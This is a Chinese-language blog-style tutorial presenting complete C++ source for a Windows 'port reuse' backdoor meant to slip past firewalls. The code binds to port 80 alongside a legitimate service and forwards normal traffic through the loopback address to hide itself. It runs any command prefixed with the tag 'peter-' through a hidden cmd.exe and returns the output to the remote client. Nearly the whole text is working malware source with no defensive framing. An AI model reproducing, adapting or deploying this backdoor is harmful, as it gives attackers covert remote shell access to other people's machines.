简介
前面我们介绍到我们可以用进程注入的方法,借用其他应用的端口收发信息,从而达到穿墙的效果,那么今天介绍一种新的方法,叫做端口复用技术,他能够与其他应用绑定同一个端口,但同时进行端口复用的程序会接管之前程序的信息接受权,所以我们在复用端口后,要对非后门信息通过127.0.0.1本机回环地址进行消息转发。
C++代码样例
/////////////////////////////////////////
//
// FileName : ReUseSocket.cpp
// Creator : PeterZ1997
// Date : 2018-5-31 17:54
// Comment : 端口复用后门(单管道)
// Editor : Visual Studio 2017
//
/////////////////////////////////////////
/***************************************************************/
/* 注:WSASocket初始化的Socket无法通过setsockopt函数设置接收超时 */
/***************************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
#pragma comment(lib, "ws2_32")
using namespace std;
#pragma once
#define MAX_COUNT 255 //字符串最大长度
#define MAX_CONN_COUNT 1024 //最大连接数
typedef struct ThreadParam { //SocketProc多线程结构体
SOCKET sClient;
sockaddr_in addr;
}tP;
const DWORD dwPort = 80; //端口号
const CHAR szTagContent[MAX_COUNT] = "peter-"; //连接标识
const DWORD dwTagLength = (size_t)strlen(szTagContent); // 连接标识长度
/**
* @brief 字符串切片
* @param str1 源字符串
* @param str2 结果字符串
* @param dwBeginCount 数组下标起始值
* @param dwEndCount 数组下标的最终值(取到前一位)
*/
VOID StringCut(LPCSTR str1, LPSTR str2, DWORD dwBeginCount, DWORD dwEndCount)
{
if (strlen(str1) > MAX_COUNT || dwBeginCount >= dwEndCount || dwBeginCount >= 255 || dwEndCount > 255)
{
return;
}
for (DWORD i = dwBeginCount, j = 0; i < dwEndCount, j < MAX_COUNT; i++, j++)
{
str2[j] = str1[i];
}
return;
}
/**
* @brief 管道数据监控
* @param sClient 客户端Socket对象
* @param hOutputPipe 输出管道
*/
VOID DataMonitor(SOCKET sClient, HANDLE hOutputPipe)
{
DWORD dwTotalAvail = 0;
DWORD dwReadLength = 0;
CHAR pipeBuffer[MAX_COUNT*MAX_COUNT] = "\0";
ReadFile(hOutputPipe, pipeBuffer, sizeof(pipeBuffer), &dwReadLength, NULL);
send(sClient, pipeBuffer, (size_t)strlen(pipeBuffer), 0);
ZeroMemory(pipeBuffer, sizeof(pipeBuffer));
return;
}
/**
* @brief 打开Shell
* @param sClient 客户端Socket对象
* @param szRecvBuffer 字符串接收缓冲区
*/
VOID StartShell(SOCKET sClient, LPCSTR szRecvBuffer)
{
HANDLE hInputPipe, outputPipe;
CHAR szCmdLine[MAX_COUNT] = "\0";
CHAR szSendData[MAX_COUNT] = "\0";
if (strlen(szRecvBuffer) <= dwTagLength)
{
send(sClient, "None", 5, 0);
return;
}
StringCut(szRecvBuffer, szCmdLine, dwTagLength, (size_t)strlen(szRecvBuffer));
SECURITY_ATTRIBUTES sa;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
CreatePipe(&outputPipe, &hInputPipe, &sa, 0);
Sleep(200);
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.hStdError = hInputPipe;
si.hStdOutput = hInputPipe;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(szSendData, sizeof(szSendData));
StringCchCat(szSendData, sizeof(szSendData), "\\cmd.exe /c ");
StringCchCat(szSendData, sizeof(szSendData), szCmdLine);
CreateProcess(NULL, szSendData, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, 10000); //最迟等待10秒后返回,防止命令无回显情况发生
DataMonitor(sClient, outputPipe);
return;
}
/**
* @brief 客户端Socket处理
* @param lpParam ThreadParam参数结构体
*/
DWORD WINAPI SocketProc(LPVOID lpParam)
{
SOCKET sClient = ((tP*)lpParam)->sClient;
CHAR szRecvBuffer[MAX_COUNT * 10] = "\0";
SOCKET sNative;
sockaddr_in saiNativeAddr;
CHAR szTip[] = "\r\nPeterBD>";
struct timeval optNativeValue;
saiNativeAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
saiNativeAddr.sin_family = AF_INET;
saiNativeAddr.sin_port = htons(dwPort);
sNative = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sNative == INVALID_SOCKET)
{
closesocket(sClient);
return 0;
}
optNativeValue.tv_sec = 1;
optNativeValue.tv_usec = 0;
if (setsockopt(sNative, SOL_SOCKET, SO_RCVTIMEO, (CHAR*)&optNativeValue, sizeof(optNativeValue)) == SOCKET_ERROR) //设置接收超时
{
closesocket(sClient);
closesocket(sNative);
return 0;
}
if (connect(sNative, (struct sockaddr*)&saiNativeAddr, sizeof(saiNativeAddr)) == SOCKET_ERROR && WSAGetLastError() != WSAECONNREFUSED) //防止对方为打开复用目标端口,导致无法数据转发
{
closesocket(sClient);
closesocket(sNative);
return 0;
}
while (TRUE)
{
send(sClient, szTip, (size_t)strlen(szTip), 0);
ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
DWORD ret = recv(sClient, szRecvBuffer, sizeof(szRecvBuffer), 0);
if (ret == SOCKET_ERROR)
{
break;
}
if (strncmp(szRecvBuffer, szTagContent, dwTagLength) == 0)
{
StartShell(sClient, szRecvBuffer);
continue;
}
send(sNative, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
recv(sNative, szRecvBuffer, sizeof(szRecvBuffer), 0);
if (strlen(szRecvBuffer))
{
send(sClient, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
}
}
closesocket(sClient);
closesocket(sNative);
return 0;
}
/**
* @brief 主函数
*/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
WSADATA wsd;
SOCKET sServer;
sockaddr_in saiServerAddr;
in_addr iaTempAddr;
tP *tp[MAX_CONN_COUNT];
HANDLE hThreadPool[MAX_CONN_COUNT];
int connCount = 0;
int s_ClientAddrSize = 0;
CHAR szHostName[MAX_COUNT] = "\0";
if (WSAStartup(0x0202, &wsd))
{
return 0;
}
gethostname(szHostName, sizeof(szHostName));
HOSTENT *hostInfo = gethostbyname(szHostName);
saiServerAddr.sin_family = AF_INET;
saiServerAddr.sin_port = htons(dwPort);
memcpy(&iaTempAddr.S_un.S_addr, hostInfo->h_addr_list[0], hostInfo->h_length); //监听第一张网卡ip,如果必要的话,可以切换网卡或自定义本地ip
saiServerAddr.sin_addr.S_un.S_addr = iaTempAddr.S_un.S_addr;
sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, NULL, 0);
int dwOptVal = 1;
if (setsockopt(sServer, SOL_SOCKET, SO_REUSEADDR, (CHAR*)&dwOptVal, sizeof(dwOptVal)) == SOCKET_ERROR) //设置为端口复用模式
{
return 0;
}
if (bind(sServer, (struct sockaddr*)&saiServerAddr, sizeof(saiServerAddr)) == SOCKET_ERROR)
{
return 0;
}
if (listen(sServer, SOMAXCONN) == SOCKET_ERROR)
{
return 0;
}
while (connCount < MAX_CONN_COUNT)
{
tp[connCount] = (tP*)malloc(sizeof(tP));
s_ClientAddrSize = sizeof(tp[connCount]->addr);
tp[connCount]->sClient = accept(sServer, (struct sockaddr*)&(tp[connCount]->addr), &s_ClientAddrSize);
hThreadPool[connCount] = CreateThread(NULL, 0, SocketProc, (LPVOID)tp[connCount], 0, NULL);
connCount++;
}
WaitForMultipleObjects(connCount, hThreadPool, true, INFINITE);
for (int i = 0; i < connCount; i++)
{
CloseHandle(hThreadPool[i]);
closesocket(tp[i]->sClient);
}
closesocket(sServer);
WSACleanup();
ExitProcess(0);
return 0;
}